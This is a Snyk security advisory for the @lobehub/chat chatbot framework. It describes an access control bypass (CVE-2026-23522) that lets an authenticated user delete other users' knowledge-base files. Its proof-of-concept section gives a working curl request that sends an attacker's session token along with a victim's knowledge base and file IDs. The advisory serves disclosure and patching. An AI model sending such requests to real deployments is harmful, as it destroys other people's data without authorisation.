Access Control Bypass Affecting @lobehub/chat package, versions *


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.19% (10th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Access Control Bypass vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-LOBEHUBCHAT-15038696
  • published20 Jan 2026
  • disclosed19 Jan 2026
  • creditDenizParlak

Introduced: 19 Jan 2026

CVE-2026-23522  (opens in a new tab)
CWE-284  (opens in a new tab)

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

@lobehub/chat is a Lobe Chat - an open-source, high-performance chatbot framework that supports speech synthesis, multimodal, and extensible Function Call plugin system. Supports one-click free deployment of your private ChatGPT/LLM web application.

Affected versions of this package are vulnerable to Access Control Bypass via the knowledgeBase.removeFilesFromKnowledgeBase function. An attacker can delete files belonging to other users by supplying valid knowledge base and file identifiers.

Note:

This is only exploitable if the attacker knows both the target's knowledge base ID and file ID, which may be obtained through shared links, logs, or referrer headers.

PoC

ATTACKER_TOKEN="xx"

VICTIM_KB="kb_tuLBfskdDN1r"
VICTIM_FILE="file_v5wCNLqSaoPp"

curl -X POST "https://localhost/trpc/lambda/knowledgeBase.removeFilesFromKnowledgeBase?batch=1" -H "Content-Type: application/json" -b "__Secure-better-auth.session_token=$ATTACKER_TOKEN" -d '{"0":{"json":{"knowledgeBaseId":"'"$VICTIM_KB"'","ids":["'"$VICTIM_FILE"'"]}}}'

References

CVSS Base Scores

version 4.0
version 3.1